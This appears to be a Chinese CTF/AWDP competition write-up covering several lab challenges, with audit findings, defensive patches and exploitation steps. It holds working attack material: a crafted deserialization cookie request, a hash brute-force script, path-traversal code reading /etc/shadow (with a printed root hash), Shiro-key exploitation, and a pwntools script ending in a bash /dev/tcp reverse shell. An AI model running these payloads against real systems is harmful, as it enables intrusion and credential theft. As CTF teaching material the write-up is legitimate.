目录

  1. 1. 前言
  2. 2. MediaDrive
    1. 2.1. Attack
    2. 2.2. Defender
  3. 3. easy_time
    1. 3.1. Attack
    2. 3.2. Defender(Failed)
  4. 4. IntraBadge(Unsolved)
  5. 5. wso2(Unsolved)
  6. 6. 渗透
    1. 6.1. isw1(pico server)
    2. 6.2. isw2(shiro)
      1. 6.2.1. 外网 - 192.168.45.50
        1. 6.2.1.1. 提权(Failed)
        2. 6.2.1.2. 内网信息收集
      2. 6.2.2. SRV - 192.168.45.100
        1. 6.2.2.1. 445
        2. 6.2.2.2. 12345(Failed)
    3. 6.3. isw(ASP)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

CISCN 19st & CCB 3rd半决赛

2026/3/22 线下赛
  |     |   总文章阅读量:

前言

NISA-325Spark 南部赛区 位 11

本地 35b 大模型首战,用于代码审计完全足够了


MediaDrive

直接把整个项目丢给 agent 自己分析了,挑主要的问题出来:

反序列化:index.php, download.php, preview.php, profile.php 中的 @unserialize($_COOKIE['user'])

路径遍历 + iconv 解析 + 任意文件读取:preview.php

$rawPath = $user->basePath . $f;
if (preg_match('/flag|\/flag|\.\.|php:|data:|expect:/i', $rawPath)) {
    http_response_code(403);
    echo "Access denied";
    exit;
}
$convertedPath = @iconv($user->encoding, "UTF-8//IGNORE", $rawPath);
if ($convertedPath === false || $convertedPath === "") {
    http_response_code(500);
    echo "Conversion failed";
    exit;
}
$content = @file_get_contents($convertedPath);

User.php,这些都是我们可控的

class User {
    public string $name = "guest";
    public string $encoding = "UTF-8";
    public string $basePath = "/var/www/html/uploads/";

    public function __construct(string $name = "guest") {
        $this->name = $name;
    }
}

Attack

任意文件读不给 php 伪协议,不然直接打 CVE-2024-2961 了(

正则这么写那 flag 应该就是 /flag 了,根据已知信息猜测可以利用 GBK 和 UTF-8 的编码差异进行绕过,遂直接 fuzz 可用字符寻找解析差异

<?php
class User
{
    public string $name = "guest";
    public string $encoding = "GBK";
    public string $basePath = "file://";

    public function __construct(string $name = "guest")
    {
        $this->name = $name;
    }
}

$a = new User();
echo urlencode(serialize($a));
$f = "etc/" . urldecode("%ff") . "passwd";
$user = unserialize(serialize($a));
$rawPath = $user->basePath . $f;
$convertedPath = @iconv($user->encoding, "UTF-8//IGNORE", $rawPath);
echo $convertedPath;

poc:

GET /preview.php?f=/f%fflag HTTP/1.1
Host: 10.11.253.76:27133
Pragma: no-cache
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: user=O%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3Bs%3A8%3A%22encoding%22%3Bs%3A3%3A%22GBK%22%3Bs%3A8%3A%22basePath%22%3Bs%3A7%3A%22file%3A%2F%2F%22%3B%7D
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: no-cache

Defender

不知道,ai 自己修的(

preview.php

<?php

declare(strict_types=1);
require_once __DIR__ . "/lib/User.php";
require_once __DIR__ . "/lib/Util.php";

$user = null;
if (isset($_COOKIE['user'])) {
  $user = @unserialize($_COOKIE['user']);
}
if (!$user instanceof User) {
  $user = new User("guest");
  setcookie("user", serialize($user), time() + 86400, "/");
}

$f = (string)($_GET['f'] ?? "");
if ($f === "") {
  http_response_code(400);
  echo "Missing parameter: f";
  exit;
}

$rawPath = $user->basePath . $f;
$realPath = realpath($rawPath);
$uploadsReal = realpath($user->basePath);
if ($realPath === false || $uploadsReal === false) {
  http_response_code(404);
  echo "Not found";
  exit;
}

if (strpos($realPath, $uploadsReal) !== 0) {
  http_response_code(403);
  echo "Access denied";
  exit;
}

if (preg_match('/flag|\/flag|\.\.|php:|data:|expect:/i', $rawPath)) {
  http_response_code(403);
  echo "Access denied";
  exit;
}

try {
  $convertedPath = iconv($user->encoding, "UTF-8//IGNORE", $rawPath);
  if ($convertedPath === false) {
    throw new Exception("Invalid encoding");
  }
} catch (Exception $e) {
  http_response_code(500);
  echo "Conversion failed";
  exit;
}

$content = @file_get_contents($convertedPath);
if ($content === false) {
  http_response_code(404);
  echo "Not found";
  exit;
}

$displayRaw = $rawPath;
$displayConv = $convertedPath;
$isText = true;

for ($i = 0; $i < min(strlen($content), 512); $i++) {
  $c = ord($content[$i]);
  if ($c === 0) {
    $isText = false;
    break;
  }
}

?>
<!doctype html>
<html lang="en">

<head>
  <meta charset="utf-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <title>Preview · MediaDrive</title>
  <link rel="stylesheet" href="/assets/style.css" />
</head>

<body>
  <div class="app">
    <header class="topbar">
      <div class="brand">
        <div class="dot red"></div>
        <div class="dot yellow"></div>
        <div class="dot green"></div>
        <a class="brand-title link" href="/">MediaDrive</a>
        <span class="badge">Preview</span>
      </div>
      <div class="actions">
        <a class="btn ghost" href="/profile.php">Preferences</a>
      </div>
    </header>

    <main class="content">
      <section class="card">
        <div class="card-head">
          <h2>File Preview</h2>
          <p class="muted">Converted paths are shown for debugging.</p>
        </div>

        <div class="kv">
          <div><span class="k">User</span><span class="v"><?= Util::h($user->name) ?></span></div>
          <div><span class="k">Encoding</span><span class="v mono"><?= Util::h($user->encoding) ?></span></div>
          <div><span class="k">Raw path</span><span class="v mono"><?= Util::h($displayRaw) ?></span></div>
          <div><span class="k">Converted</span><span class="v mono"><?= Util::h($displayConv) ?></span></div>
        </div>

        <div class="row-actions">
          <a class="btn ghost" href="/">Back</a>
          <a class="btn" href="/download.php?f=<?= urlencode($f) ?>">Download</a>
        </div>

        <div class="preview">
          <?php if ($isText): ?>
            <pre><?= Util::h($content) ?></pre>
          <?php else: ?>
            <pre class="mono"><?=
                              Util::h(bin2hex(substr($content, 0, 2048)))
                              ?></pre>
            <div class="hint">Binary preview (hex, first 2KB)</div>
          <?php endif; ?>
        </div>
      </section>
    </main>

    <footer class="footer">
      <span class="muted">MediaDrive · Internal tool</span>
      <a class="muted" href="/health.php">health</a>
    </footer>
  </div>
</body>

</html>

Util.php

<?php

declare(strict_types=1);

final class Util
{
    public static function h(string $s): string
    {
        return htmlspecialchars($s, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
    }

    public static function listUploads(string $dir): array
    {
        $out = [];
        if (!is_dir($dir)) return $out;
        $items = scandir($dir);
        if ($items === false) return $out;

        foreach ($items as $f) {
            if ($f === '.' || $f === '..') continue;
            $path = $dir . DIRECTORY_SEPARATOR . $f;
            if (is_file($path)) {
                $out[] = [
                    'name' => $f,
                    'size' => filesize($path) ?: 0,
                    'mtime' => filemtime($path) ?: time(),
                ];
            }
        }
        usort($out, fn($a, $b) => $b['mtime'] <=> $a['mtime']);
        return $out;
    }

    public static function niceSize(int $bytes): string
    {
        $units = ['B', 'KB', 'MB', 'GB'];
        $i = 0;
        $v = (float)$bytes;
        while ($v >= 1024 && $i < count($units) - 1) {
            $v /= 1024;
            $i++;
        }
        return sprintf($i === 0 ? "%d %s" : "%.1f %s", $v, $units[$i]);
    }

    public static function safeUploadName(string $name): string
    {
        $name = str_replace(["\0", "\\", "/"], "", $name);
        if (strpos($name, "..") !== false || trim($name) === "") {
            return "file_" . bin2hex(random_bytes(4));
        }
        return $name;
    }

    private static function getAllowedUploadExtensions(): array
    {
        return [
            'txt',
            'pdf',
            'doc',
            'docx',
            'rtf',
            'odt',
            'xls',
            'xlsx',
            'csv',
            'ppt',
            'pptx',
            'jpg',
            'jpeg',
            'png',
            'gif',
            'webp',
            'bmp',
        ];
    }

    public static function isAllowedUploadExtension(string $name): bool
    {
        $parts = explode('.', $name);
        if (count($parts) < 2) {
            return false;
        }
        $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
        if ($ext === '') {
            return false;
        }
        return in_array($ext, self::getAllowedUploadExtensions(), true);
    }
}

easy_time

审计结果:

zipslip:

def safe_upload(zip_path: Path, dest_dir: Path) -> list[str]:
    with zipfile.ZipFile(zip_path, 'r') as z:
        for info in z.infolist():
            target = os.path.join(dest_dir, info.filename)
            if info.is_dir():
                os.makedirs(target, exist_ok=True)
            else:
                os.makedirs(os.path.dirname(target), exist_ok=True)
                with open(target, 'wb') as f:
                    f.write(z.read(info.filename))

ssrf:

@app.route('/about', methods=['GET', 'POST'])
@login_required
def about():
    user = flask.request.cookies.get('user')

    conn = db()
    current = conn.execute('SELECT * FROM users WHERE username=?',
                           (user, )).fetchone()
    about_text = current['about'] if current else ''
    avatar_local = current['avatar_local'] if current else ''
    avatar_url = current['avatar_url'] if current else ''

    if flask.request.method == 'POST':
        about_text = flask.request.form.get('about', '')
        avatar_url = flask.request.form.get('avatar_url', '')

        upload = flask.request.files.get('avatar_file')
        if upload and upload.filename:
            raw = upload.read()
            upload.seek(0)
            kind = sniff_image_type(raw)
            if kind not in {'png', 'jpeg', 'gif', 'webp'}:
                conn.close()
                return (
                    flask.render_template(
                        'about.html',
                        user=user,
                        about=about_text,
                        avatar_local=avatar_local,
                        avatar_url=avatar_url,
                        remote_info=fetch_remote_avatar_info(avatar_url),
                        error='头像文件必须是图片(png/jpg/gif/webp)',
                    ),
                    400,
                )

def fetch_remote_avatar_info(url: str):
    if not url:
        return None
    
    parsed = urllib.parse.urlparse(url)
    if parsed.scheme not in {"http", "https"}:
        return None
    if not parsed.hostname:
        return None
    
    req = urllib.request.Request(url, method="GET", headers={"User-Agent": "question-app/1.0"})
    
    try:
        with urllib.request.urlopen(req, timeout=3) as resp:
            content = resp.read()
            return {
                "content_snippet": content,
                "status": getattr(resp, "status", None),
                "content_type": resp.headers.get("Content-Type", ""),
                "content_length": resp.headers.get("Content-Length", ""),
            }
    except Exception:
        return None

弱密码哈希:

@app.route('/login', methods=['GET', 'POST'])
def login():
    if flask.request.method == 'POST':
        username = flask.request.form.get('username', '')
        password = flask.request.form.get('password', '')

        h1 = hashlib.md5(password.encode('utf-8')).hexdigest()
        h2 = hashlib.md5(h1.encode('utf-8')).hexdigest()
        next_url = flask.request.args.get("next") or flask.url_for("dashboard")

        if username == 'admin' and h2 == "7022cd14c42ff272619d6beacdc9ffde":
            resp = flask.make_response(flask.redirect(next_url))
            resp.set_cookie('visited', 'yes', httponly=True, samesite='Lax')
            resp.set_cookie('user', username, httponly=True, samesite='Lax')
            return resp

Attack

首先要爆破出双层密码,当然可以直接用 cookie user=admin, visited=yes 绕过

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
弱密码爆破脚本
目标哈希:7022cd14c42ff272619d6beacdc9ffde
哈希算法:MD5(MD5(password))
"""

import hashlib
import itertools
import string

# 目标哈希
TARGET_HASH = "7022cd14c42ff272619d6beacdc9ffde"


def md5_hash(text):
    """单次 MD5 哈希"""
    return hashlib.md5(text.encode('utf-8')).hexdigest()


def double_md5(password):
    """双重 MD5 哈希:MD5(MD5(password))"""
    h1 = md5_hash(password)
    h2 = md5_hash(h1)
    return h2


def crack_password():
    """爆破密码"""
    print("=" * 60)
    print("弱密码爆破工具")
    print(f"目标哈希:{TARGET_HASH}")
    print("=" * 60)

    # 常见弱密码列表
    common_passwords = [
        "admin",
        "password",
        "123456",
        "12345678",
        "123456789",
        "password123",
        "admin123",
        "root",
        "1234567",
        "qwerty",
        "letmein",
        "welcome",
        "monkey",
        "dragon",
        "master",
        "login",
        "abc123",
        "111111",
        "000000",
        "pass",
        "test",
        "user",
        "guest",
        "secret",
        "admin1",
        "admin1234",
        "1234567890",
        "12345678901234",
        "qazwsx",
        "1qaz2wsx",
        "zxcvbn",
        "1qaz@WSX",
        "asdfgh",
        "qweasd",
    ]

    print("\n[1] 尝试常见弱密码...")
    for pwd in common_passwords:
        result = double_md5(pwd)
        if result == TARGET_HASH:
            print(f"✓ 找到密码:{pwd}")
            print(f"  MD5(password) = {md5_hash(pwd)}")
            print(f"  MD5(MD5(password)) = {result}")
            return pwd

    print("[1] 未找到,尝试更长的组合...")

    # 尝试 4-8 位数字组合
    print("[2] 尝试数字组合...")
    for length in range(4, 9):
        for nums in itertools.product(string.digits, repeat=length):
            pwd = "".join(nums)
            result = double_md5(pwd)
            if result == TARGET_HASH:
                print(f"✓ 找到密码:{pwd}")
                return pwd

    # 尝试字母数字组合(较短)
    print("[3] 尝试字母数字组合...")
    chars = string.ascii_letters + string.digits
    for length in range(4, 7):
        for combo in itertools.product(chars, repeat=length):
            pwd = "".join(combo)
            result = double_md5(pwd)
            if result == TARGET_HASH:
                print(f"✓ 找到密码:{pwd}")
                return pwd

    print("\n[!] 未找到匹配的密码")
    print("    可能密码不在上述列表中,需要使用更多字典或 GPU 爆破")
    return None


if __name__ == "__main__":
    crack_password()

得到密码 secret

然后可以在 /plugin/upload 上传恶意模板覆盖 templates 下的模板,实现 rce,也可以写 php 马到 /var/www/html 下

然后在 /about 通过 ssrf 访问内网 80 端口的 php 获取结果

flag 在 /tmp/123123123_flag


Defender(Failed)

您已耗尽所有免费次数(

作为一个 python 服务就又涉及到一个大问题,如何在 AWDP 缺少靶机自身信息的情况下进行修复

幸运的是这里附件信息给的足够多

supervisord.conf

[supervisord]
nodaemon=true
loglevel=info
logfile=/dev/null
pidfile=/tmp/supervisord.pid

[program:apache]
command=/usr/sbin/apache2ctl -D FOREGROUND
autostart=true
autorestart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0

[program:flask]
command=python3 /app/index.py
directory=/app
autostart=true
autorestart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0

这里是使用 supervisord 进行进程管理的,所以重启进程进行修改轻而易举

#!/bin/bash

mv index.py /app/index.py
supervisorctl stop flask
supervisorctl reread 2>/dev/null || true
supervisorctl update 2>/dev/null || true
supervisorctl start flask 2>/dev/null || true

意识到这点测试完脚本正常运行的时候已经用掉了 8 次机会,对着 zipslip 修了两次依旧被打穿就没下文了

看 0RAYS 的师傅是修改 secret_key,然后替换 cookie 字段名,zipslip 直接换成 safe_extract_zip 处理

因为 supervisord 会自动重启,所以直接 pkill 也是可行的(不能 pkill python3 进程,因为 supervisord 也是 python3 起的)

#!/bin/bash

mv index.py /app/index.py
pkill -f "/app/index.py"

IntraBadge(Unsolved)

pkill 了再执行启动服务异常又是 hyw 呢


wso2(Unsolved)

赛前一天提供的附件就能看到名字,但是卧槽这个怎么用,入口文件在哪?

? 什么叫把 flag 改了就修过了,什么叫能在 fix 的时候反弹 shell 拿 flag 交 attack


渗透

isw1(pico server)

10.11.162.51

[*] live Hosts num: 1
 10.11.162.51: [22 80 8000]
[*] alive ports len is: 3
[*] start vulscan
[*] WebTitle http://10.11.162.51       code:200 len:1025   title:Pico HTTP server
[*] WebTitle http://10.11.162.51:8000  code:404 len:39     title:None
[+] PocScan  http://10.11.162.51 poc-yaml-uwsgi-cve-2018-7490 

8000 端口一个 /restart 用于重启 80 端口的服务,后面突然反应过来这个是为了防止 pwn 坏掉设置的

80 端口是一个 simplehttp,响应没有 CR 头,导致 yakit 和 thunder client 报废了,直接写 socket 接受包(burpsuite 不受影响)

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('10.11.162.51', 80))
sock.sendall(
    b"GET /../../../../../../../../../../../../../etc/shadow HTTP/1.1\r\nHost: 10.11.162.51\r\n\r\n"
)

# 直接读取原始字节,不进行 HTTP 解析
try:
    data = sock.recv(4096)
    # 此时 data 是原始乱码或文本,你需要自己处理
    # 如果服务器返回了非法的 HTTP 头,你可以尝试用字符串分割手动提取内容
    text = data.decode('utf-8', errors='ignore')
    print(text)
except Exception as e:
    print("连接失败:", e)
finally:
    sock.close()

读取 /etc/shadow

root:$6$sqG18STD$4WTSFLekF5.slU7LFMfhzDdaWyAPWu1g8W7PZKXaOAAlkCBpcavS2HErsxP1xCEltAtxEweIVHFIf3BO5MH3z.:20473:0:99999:7:::

john 爆破一小时无果

访问 /proc/self/cmdline,得到当前进程 /root/pico/server 80

dump server 这个 elf 下来,观察一下应该是个 pwn 题,再 dump 个 /proc/self/maps 和 libc 下来给 pwn 手研究

花了一小时没研究出来,看别的师傅是在 sprintf 打栈溢出然后栈迁移到堆,执行 rop 写 ssh 公钥

还有取证大手子直接 dump 了 /dev/vda3,成磁盘取证了


isw2(shiro)

外网 - 192.168.45.50

10.11.162.53

[*] live Hosts num: 1
 10.11.162.53: [22 111 8080 12345]
[*] alive ports len is: 4
[*] start vulscan
已完成 1/4 [-] webtitle http://10.11.162.53:111 Get "http://10.11.162.53:111": read tcp 10.11.123.242:61167->10.11.162.53:111: read: connection reset by peer 
[*] WebTitle http://10.11.162.53:8080  code:200 len:794    title:hello world
已完成 2/4 [-] webtitle https://10.11.162.53:12345 Get "https://10.11.162.53:12345": EOF 
[+] PocScan http://10.11.162.53:8080/ poc-yaml-shiro-key [{key kPH+bIxk5D2deZiIxcaaaA==} {mode cbc}]

shiroattack 打内存马

flag 在根目录

提权(Failed)

(tomcat:/tmp) $ find / -user root -perm -4000 -print 2>/dev/null
/usr/bin/fusermount
/usr/bin/chfn
/usr/bin/chage
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/su
/usr/bin/sudo
/usr/bin/umount
/usr/bin/crontab
/usr/bin/pkexec
/usr/bin/passwd
/usr/sbin/unix_chkpwd
/usr/sbin/pam_timestamp_check
/usr/sbin/usernetctl
/usr/sbin/mount.nfs
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/libexec/dbus-1/dbus-daemon-launch-helper

(tomcat:/tmp) $ getcap -r / 2>/dev/null
/usr/bin/newgidmap = cap_setgid+ep
/usr/bin/newuidmap = cap_setuid+ep
/usr/bin/ping = cap_net_admin,cap_net_raw+p
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p

卧槽那么大的一个 pkexec 我没去提权

内网信息收集

[*] start_Live_scan
 {icmp} 192.168.45.2    up
 {icmp} 192.168.45.50   up
 {icmp} 192.168.45.100  up
[*] live Hosts num: 3
 192.168.45.2: [53]
 192.168.45.50: [22 111 8080 12345]
 192.168.45.100: [22 53 88 111 135 139 389 445 464 636 2049 3268 3269 12345 20048 45413 49152 49153 49154 53027]
[*] WebTitle http://192.168.45.50:8080 code:200 len:794    title:hello world
[+] PocScan http://192.168.45.50:8080/ poc-yaml-shiro-key [{key kPH+bIxk5D2deZiIxcaaaA==} {mode cbc}]

SRV - 192.168.45.100

445

smb 枚举用户

❯ proxychains4 -q cme smb 192.168.45.100 --users
SMB         192.168.45.100  445    SRV              [*] Windows 6.1 Build 0 x32 (name:SRV) (domain:core.local) (signing:True) (SMBv1:False)
SMB         192.168.45.100  445    SRV              [*] Trying to dump local users with SAMRPC protocol
SMB         192.168.45.100  445    SRV              [+] Enumerated domain user(s)
SMB         192.168.45.100  445    SRV              core.local\Administrator                  Built-in account for administering the computer/domain
SMB         192.168.45.100  445    SRV              core.local\Guest                          Built-in account for guest access to the computer/domain
SMB         192.168.45.100  445    SRV              core.local\krbtgt                         Key Distribution Center Service Account
SMB         192.168.45.100  445    SRV              core.local\flag                           flag{a9f6bba6e4d62a9a4a5a0694141ebe79}

得到 flag 和域 core.local

12345(Failed)

这个明显是预留了一个后门端口与.50 的 12345 端口通信,但是我查进程没找到

因为是在 /root 目录下,所以前面提权完之后可以在 /root 下找到一个 agent 服务

逆向,然后写出 exp:

from pwn import *

context(log_level = 'debug', os = 'linux', arch = 'amd64')

io = remote('192.168.45.100', 12345)
io.send(b"RCE_AUTH_2026")

sleep(2)

io.sendline(b"bash -i >& /dev/tcp/192.168.45.50/4444 0>&1")
sleep(1)
exit(0)

弹 shell 然后上线即可


isw(ASP)

10.11.162.52

[*] live Hosts num: 1
 10.11.162.52: [80 135 139 445 3389 5985 47001 49664 49665 49666 49667 49668 49669 49670 62831]
[*] alive ports len is: 15
[*] start vulscan
[NetInfo] 
[*] 10.11.162.52
   [->] SRVDIST02
   [->] 10.11.162.52
   [->] 10.26.30.8
[*] WebTitle http://10.11.162.52:5985  code:404 len:315    title:Not Found
[*] WebTitle http://10.11.162.52:47001 code:404 len:315    title:Not Found
[*] WebTitle http://10.11.162.52       code:200 len:953    title:10.11.162.52 - /
已完成 5/15 [-] webtitle http://10.11.162.52:49670 Get "http://10.11.162.52:49670": context deadline exceeded (Client.Timeout exceeded while awaiting headers) 
已完成 5/15 [-] webtitle http://10.11.162.52:62831 Get "http://10.11.162.52:62831": context deadline exceeded (Client.Timeout exceeded while awaiting headers) 
已完成 5/15 [-] webtitle http://10.11.162.52:49666 Get "http://10.11.162.52:49666": context deadline exceeded (Client.Timeout exceeded while awaiting headers) 
已完成 8/15 [-] webtitle http://10.11.162.52:49664 Get "http://10.11.162.52:49664": context deadline exceeded (Client.Timeout exceeded while awaiting headers) 
已完成 9/15 [-] webtitle http://10.11.162.52:49668 Get "http://10.11.162.52:49668": context deadline exceeded (Client.Timeout exceeded while awaiting headers) 
已完成 10/15 [-] webtitle http://10.11.162.52:49667 Get "http://10.11.162.52:49667": context deadline exceeded (Client.Timeout exceeded while awaiting headers) 
已完成 11/15 [-] webtitle http://10.11.162.52:49665 Get "http://10.11.162.52:49665": context deadline exceeded (Client.Timeout exceeded while awaiting headers) 
已完成 11/15 [-] webtitle http://10.11.162.52:49669 Get "http://10.11.162.52:49669": context deadline exceeded (Client.Timeout exceeded while awaiting headers) 

80 端口可以下载一个 WatchAgent,之前阿里云 ctf 中出现过给 pdb 和 exe 写 rpc 的操作,但是我没复现,不会搞(

5985 端口有 /wsman,POST 访问 401

HTTP/1.1 401
Server: Microsoft-HTTPAPI/2.0
WWW-Authenticate: Negotiate
Date: Sun, 22 Mar 2026 23:15:07 GMT
Connection: close